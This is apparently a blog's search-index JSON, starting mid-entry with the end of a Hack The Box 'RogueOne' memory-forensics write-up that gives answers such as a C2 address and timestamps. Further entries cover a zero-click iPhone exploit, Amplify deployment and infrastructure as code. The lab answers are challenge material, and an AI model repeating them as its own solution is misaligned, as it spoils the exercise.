3:\n5bd547c6f5bfc4858fe62c8867acfbb5\nFor task 4 we were asked to provide the C2 IP address and port. We can search on netstat.txt to find the result for this. The command we can use is:\ngrep -n 6812 outputs/netstat.txt\nThe output:\nResult for task 4:\n13.127.155.166:8888\nAs for the time the connection was established, we can get that from previous output.\nResult for task 5:\n10/08/2023 11:30:03\nWe are asked for memory offset of the malicious process in task 6. To get that, we run:\ngrep -n 6812 outputs/pslist.txt\nResult for task 6:\n0x9e8b87762080\nFor task 7, we were asked to submit it to virustotal and determine, when it was first submitted. After submitting we get that the file was first submitted on August 10, 2023 at 11:58:10. The result for task 6:\n10/08/2023 11:58:10\nAnd voilà, the problem is completed!\n","permalink":"https://rafee.me/posts/htb_rogueone/","summary":"\u003cp\u003eI\u0026rsquo;ve recently dedicated some time to delve deeper into the realms of hacking and incident response. While this field is expansive, and each individual has their preferred learning method, I\u0026rsquo;ve discovered that Hack The Box (HTB) aligns best with my learning style. My reasoning behind this preference is that, unlike many other platforms, HTB strives to simulate real-world issues more closely. By tackling challenges on HTB, one acquires skills directly applicable to real-life scenarios. This sets it apart from Capture The Flag (CTF) competitions, which often lean more towards resembling problems found on platforms like LeetCode.\u003c/p\u003e","title":"Hack The Box - RogueOne Solution"},{"content":"On December 27, 2023, Kaspersky, a cybersecurity firm, released a detailed article exposing the intricacies of a significant security threat. This exploit, incorporating four zero-day vulnerabilities, allowed attackers to gain complete access to a targeted device and retrieve user data. Notably, the attack was zero-click, requiring no user interaction, making any device capable of receiving an iMessage susceptible. I won’t go into the technical details of how this exploit actually work as this link explains it quite well. Just for the sake of understanding how complicated the exploit is, I am going to include the attack chain published in aforementioned article.\nThe exploit, applicable to all Apple hardware, was dubbed by Thehackernews as the most sophisticated iPhone hack to date. Unlike typical software vulnerabilities, this exploit exploited both software and a rarely known hardware component, suggesting a high level of sophistication. Kaspersky discovered the exploit within its network but indicated that they were not the sole target. The prevalence of this exploit in devices owned by Russian intelligence agency employees points towards the involvement of an Advanced Persistent Threat (APT).\nDespite speculations claiming Apple collaboration with the NSA by Russian authorities, the focus shifts to addressing the immediate concerns. Updating software is paramount, particularly for those using iOS 15.7 and below. At the time of discovery, iOS 16.5 was the latest version, emphasizing the importance of keeping software up to date. Although this still leaves a two-year window of vulnerability, timely updates remain a crucial defense.\nThe hardware security aspect highlights the flaw in relying on obscurity. While the software community has largely abandoned the concept of \u0026lsquo;Security through Obscurity,\u0026rsquo; the hardware domain appears to be lagging behind. It is a timely reminder for hardware designers to reconsider their approach, as concealed vulnerabilities eventually come to light.\nThe detection of the attack through network logs in a Security Information and Event Management (SIEM) platform underscores the importance of foundational cybersecurity practices. Amidst the hype surrounding advanced technologies, the significance of monitoring network flow logs is often overlooked. Basic security measures, such as maintaining comprehensive logs, prove to be instrumental in identifying and responding to threats.\nWhile some may dismiss this as an APT-level threat that does not concern the average user, the fundamental truth is often overlooked. An APT exploit today could become a tool for less sophisticated attackers tomorrow. Given the exploit\u0026rsquo;s ability to operate without user input, the potential for future ransomware or spyware attacks looms large. While complete prevention of all attacks may be unattainable, adhering to proper cybersecurity hygiene significantly reduces the likelihood of falling victim to such threats.\n","permalink":"https://rafee.me/posts/apple_russia_0_day/","summary":"\u003cp\u003eOn December 27, 2023, Kaspersky, a cybersecurity firm, released a detailed\narticle exposing the intricacies of a significant security threat. This exploit,\nincorporating four zero-day vulnerabilities, allowed attackers to gain complete\naccess to a targeted device and retrieve user data. Notably, the attack was\nzero-click, requiring no user interaction, making any device capable of\nreceiving an iMessage susceptible. I won’t go into the technical details of how\nthis exploit actually work as \u003ca href=\"https://thehackernews.com/2023/12/most-sophisticated-iphone-hack-ever.html\"\u003ethis link\u003c/a\u003e\nexplains it quite well. Just for the sake of understanding how complicated the\nexploit is, I am going to include the attack chain published in aforementioned\narticle.\u003c/p\u003e","title":"Is Your iPhone Spying on You?"},{"content":"Creating My Personal Website I wanted to create my personal website for quite sometime now. I had a prior website, developed using hugo. But, I wanted build something in a more hands-on fashion this time. Although, I have very limited experience with front-end, I still took it as a challenge to learn a front-end framework and how front-end frameworks work in general.\nTechnology Choices Once I decided to develop the app using a front-end framework, the next question became the choice. Among different front-end frameworks, Vue seemed least daunting. But Vue\u0026rsquo;s choice of Single Page Application(SPA) model, although lucrative, left some things to be desired. The SPA model is not SEO friendly, which is important for a portfolio website. This is where NUXT came in. NUXT is a framework for Vue, to develop SEO friendly App, along with some additional features, that makes developing a Vue App, much simpler. So I decided to use NUXT for developing front-end.\nNow in terms of deploying the application, I ruled out something like NGINX soon. Hosting your own server, felt too expensive for simple static sites. Amazon S3 offers static site hosting. Paired with Cloudfront, S3 offers excellent scalability and free SSL certificate, which is a big advantage. However, in S3+CloudFront combination, some things need to be managed manually (such as domain routing, automatic code-build). Also, if you want to add some other functionality such as login facilities, things will become more complicated.\nAWS Amplify is a practical solution to all these problems. Not only Amplify allows static site hosting via S3+CloudFront, it allows automatic instant cache invalidation. Add it to the fact that, amplify allows you to add API (both REST and GraphQL), connect to DB and automatic domain management, automatic build out of the box. It is developed as one stop solution for full-stack app, rather than a individual product.\nWith all things in place, NUXT + Amplify seemed like a perfect technology to meet my requirement.\nUsing Prior Works While I wish I was smart enough to build the entire application from scratch. But, that\u0026rsquo;s not the case. My front-end skills are too rudimentary to develop the whole application in feasible amount of time. That\u0026rsquo;s why I started looking into internet for prior works. I found this excellent website by Jimmy Kasprzak with source code available in GitHub. He also included a great tutorial for anyone to follow.\nTLDR, I copied all his styling to develop my website (Something I plan to change in near future). If someone wants instruction on how to develop with NUXT, his website will be more fruitful place.\nDeploying application on Amplify Assuming you have developed your application using NUXT (By yourself or by following Jimmy\u0026rsquo;s tutorial), now is the time for deploying your application using Amplify.\nThe sequence of events are as follows:\nInstall Amplify CLI. For detailed instruction follow this link. Fork the repo https://github.com/PersonalWebs/personal-website. Clone repo to your own computer. Change into the directory personal website. In Linux and Mac, the command should be cd personal-website (if you didn\u0026rsquo;t change the name. Otherwise use the name you renamed your repo to). Initialize AWS Amplify in this directory. Command for that is amplify init. You will then be asked a series of questions. They are described below along with suitable answers. Enter a name for the project - personalwebsite (You can choose any name you want) Enter a name for the environment - dev Choose your default editor - Visual Studio Code (I am using VSCode, but you can use any other editor) Choose the type of app that you\u0026rsquo;re building - javascript What javascript framework are you using - vue Source Directory Path - src Distribution Directory Path - dist Build Command - npm run-script build Start Command - npm run-script serve Do you want to use an AWS profile? - If you have already set up a profile when installing Amplify-CLI tools and would like to reuse that, the answer is Yes. Otherwise you can set up and use a new profile here. This profile is used to decide which AWS account will be used to deploy the application into cloud. Now, we need to deploy the front-end app into Amplify. The steps are:\nAdd hosting to your Amplify application. This is where your app is built and deployed into cloud. The command is amplify add hosting. Like previous situation, this will also delve into a series of questions. Select the plugin module to execute (Use arrow keys) - Hosting with Amplify Console (Managed hosting with custom domains, Continuous deployment) Choose a type - Continuous deployment (Git-based deployments). This should open an url in browser. In your browser, first integrate GitHub with AWS Amplify. After that, your repos should show up. Note that, AWS UI has some sort of glitch, which may or may not redirect you several times. However, if you do everything in the expected fashion, no error should occur. Also, ignore the warning in my screenshot. You shouldn\u0026rsquo;t see this warning unless you are linking same repo to multiple app. Now you have to select backend name and role. Although technically, our app doesn\u0026rsquo;t have a backend, as it\u0026rsquo;s still a static website; this is a manadatory step. If you haven\u0026rsquo;t created an amplify project before, you will be required to create a role, which is a simple process where you have to click next several times. Note that our repo has automatically identified the amplify.yml in the repository as the build container. Here, the dependencies are installed using npm ci command and files are generated via npm run generate. The command amplifyPush --simple will be necessary when you build an actual backend. For this application, you can either ignore or delete it if you want. Finally it should show all your selected settings and you should be able to see this before final deploy. Once you click depoy, you can come back to terminal. It should display Continuous deployment is configured in the Amplify Console. Please hit enter once you connect your repository. If you hit enter now, you should see something like this And that\u0026rsquo;s about it. Now you have a fully functional web application with your portfolio. Not only this, any articles that you store on markdown format in content/articles, automatically shows up on your web application. While this may seem like too much work for hosting a static website, this is just the start. You can very easily manage custom domains, additional API, login, Android/iOS app from this single platform. If everyone likes this, I\u0026rsquo;ll extend and share more tutorial in future. Also remember, from now onwards, if you make any change on your application and commit it, this will be automatically built and deployed without any intervention or change from your end. So much about CI/CD. NoOps is the new game in town!\n","permalink":"https://rafee.me/posts/amplify_nuxt/","summary":"\u003ch2 id=\"creating-my-personal-website\"\u003eCreating My Personal Website\u003c/h2\u003e\n\u003cp\u003eI wanted to create my personal website for quite sometime now. I had a \u003ca href=\"https://www.mohammadrafee.com\"\u003eprior website\u003c/a\u003e, developed using \u003ca href=\"https://gohugo.io/\"\u003ehugo\u003c/a\u003e. But, I wanted build something in a more hands-on fashion this time. Although, I have very limited experience with front-end, I still took it as a challenge to learn a front-end framework and how front-end frameworks work in general.\u003c/p\u003e\n\u003ch2 id=\"technology-choices\"\u003eTechnology Choices\u003c/h2\u003e\n\u003cp\u003eOnce I decided to develop the app using a front-end framework, the next question became the choice. Among different front-end frameworks, Vue seemed least daunting. But Vue\u0026rsquo;s choice of Single Page Application(SPA) model, although lucrative, left some things to be desired. The SPA model is not SEO friendly, which is important for a portfolio website. This is where NUXT came in. NUXT is a framework for Vue, to develop SEO friendly App, along with some additional features, that makes developing a Vue App, much simpler. So I decided to use NUXT for developing front-end.\u003c/p\u003e","title":"Deploying NUXT App with Amplify"},{"content":"If you have made it this far, I can bet you know what IaC stands for. But for just among friends, IaC means Infrastructure as Code. What it does, is create a declarative way to define the Infrastructure. What\u0026rsquo;s that? I\u0026rsquo;m glad that you asked. When we create the infrastructure in regular way, i.e. visit the console and click, in the event you have to create it again for whatever reason, say create the DR, restore the environment after Cyber Attack or something much more simpler such as a new customer, your effort on last time will be exactly the same as first time. Not only that, it\u0026rsquo;s less prone to human error. The better idea is to declare you resources in the form of code and execute the magic to create the new version of same infrastructure. Your code essentially becomes self documenting, as you have complete representation of your system in textual form, which in most circumstances better than picking non-existent people\u0026rsquo;s brain because they have already left the company. In most organizations, where IaC is used, they also use version control software, such as Git to track the evolution of the infrastructure through time and from Git log, we can understand the reasons behind decisions taken.\nFor IaC, the most popular tool is probably Terraform. In our organization, we primarily use OCI (Oracle Cloud Infrastructure) as our infrastructure platform. Thankfully, Oracle decided to use Terraform as their IDL (Infrastructure Description Language), rather than reinventing the wheel like some other companies. While in our organization, we still didn\u0026rsquo;t complete our transition to Terraform for all infrastructure, we are getting there. At least for me, all new infrastructure I create, I make it a point to use Terraform.\nWhile Oracle uses Terraform as a native IDL, they have their own way of handling and executing Terraform code. While up until this moment I like their approach, that\u0026rsquo;s not to say their tools are without bugs. But I\u0026rsquo;m sure they\u0026rsquo;ll get better with time, so that\u0026rsquo;s not something that bothers me too much.\n","permalink":"https://rafee.me/posts/iac/","summary":"\u003cp\u003eIf you have made it this far, I can bet you know what IaC stands for. But for\njust among friends, IaC means Infrastructure as Code. What it does, is create a\ndeclarative way to define the Infrastructure. What\u0026rsquo;s that? I\u0026rsquo;m glad that you\nasked. When we create the infrastructure in regular way, i.e. visit the console\nand click, in the event you have to create it again for whatever reason, say\ncreate the DR, restore the environment after Cyber Attack or something much more\nsimpler such as a new customer, your effort on last time will be exactly the\nsame as first time. Not only that, it\u0026rsquo;s less prone to human error. The better\nidea is to declare you resources in the form of code and execute the magic to\ncreate the new version of same infrastructure. Your code essentially becomes\nself documenting, as you have complete representation of your system in textual\nform, which in most circumstances better than picking non-existent people\u0026rsquo;s\nbrain because they have already left the company. In most organizations, where\nIaC is used, they also use version control software, such as Git to track the\nevolution of the infrastructure through time and from Git log, we can understand\nthe reasons behind decisions taken.\u003c/p\u003e","title":"IaC"},{"content":"While I\u0026rsquo;m not a software developer by profession, I do love programming. I solved more than 300 problems in LeetCode and have working proficiency in Python, Go, Java and C++. In my current workplace I wrote multiple Python scripts to automate regular stuff, while saving countless man hours for me and anyone doing the same job as me in the future.\nYou can take a look at my recent public works in GitHub. For obvious reasons, what I do at workplace can\u0026rsquo;t be made public. However, I do intend to write generic documentation about them from time to time.\n","permalink":"https://rafee.me/posts/programming/","summary":"\u003cp\u003eWhile I\u0026rsquo;m not a software developer by profession, I do love programming. I\nsolved more than 300 problems in LeetCode and have working proficiency in\nPython, Go, Java and C++. In my current workplace I wrote multiple Python scripts\nto automate regular stuff, while saving countless man hours for me and anyone\ndoing the same job as me in the future.\u003c/p\u003e\n\u003cp\u003eYou can take a look at my recent public works in\n\u003ca href=\"https://github.com/rafee\"\u003eGitHub\u003c/a\u003e. For obvious reasons, what I do at workplace\ncan\u0026rsquo;t be made public. However, I do intend to write generic documentation about\nthem from time to time.\u003c/p\u003e","title":"Programming"}]